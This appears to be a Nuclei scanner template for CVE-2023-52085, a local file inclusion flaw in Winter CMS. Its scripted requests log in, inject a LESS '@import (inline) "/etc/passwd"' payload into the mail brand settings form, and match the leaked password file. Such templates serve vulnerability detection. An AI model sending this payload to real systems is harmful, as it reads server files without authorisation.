id: CVE-2023-52085 info: name: Winter CMS Local File Inclusion - (LFI) author: sanineng severity: medium description: | Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4. reference: - https://github.com/wintercms/winter/security/advisories/GHSA-2x7r-93ww-cxrq - https://nvd.nist.gov/vuln/detail/CVE-2023-52085 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2023-52085 cwe-id: CWE-22 cpe: cpe:2.3:a:wintercms:winter:*:*:*:*:*:*:*:* epss-score: 0.00046 epss-percentile: 0.12483 metadata: vendor: wintercms product: winter shodan-query: "title:\"Winter CMS\"" fofa-query: "title=\"Winter CMS\"" max-request: 4 tags: cve,cve2023,authenticated,lfi,wintercms http: - raw: - | GET /backend/backend/auth/signin HTTP/1.1 Host: {{Hostname}} - | POST /backend/backend/auth/signin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _token={{_token}}&postback=1&login={{username}}&password={{password}} - | POST /backend/system/mailbrandsettings HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-WINTER-REQUEST-HANDLER: onSave X-WINTER-REQUEST-PARTIALS: X-Requested-With: XMLHttpRequest _token={{_token}}&MailBrandSetting%5Bbody_bg%5D=%2342445B;@import%20(inline)%20%22/etc/passwd%22&redirect=0 - | GET /backend/system/mailbrandsettings HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: regex part: body_4 regex: - "root:[x*]:0:0:" extractors: - type: regex part: body name: _token group: 1 regex: - '' internal: true # digest: 4a0a00473045022100edda67cd80bdd516aa4f6241fa72a9e1d6c1e240eb1d40d35ae9c44143ff025902206f496f8d850ad284d589527d8abd90bf13aa0414c007dad56d79ba9c57d33c59:922c64590222798bb761d5b6d8e72950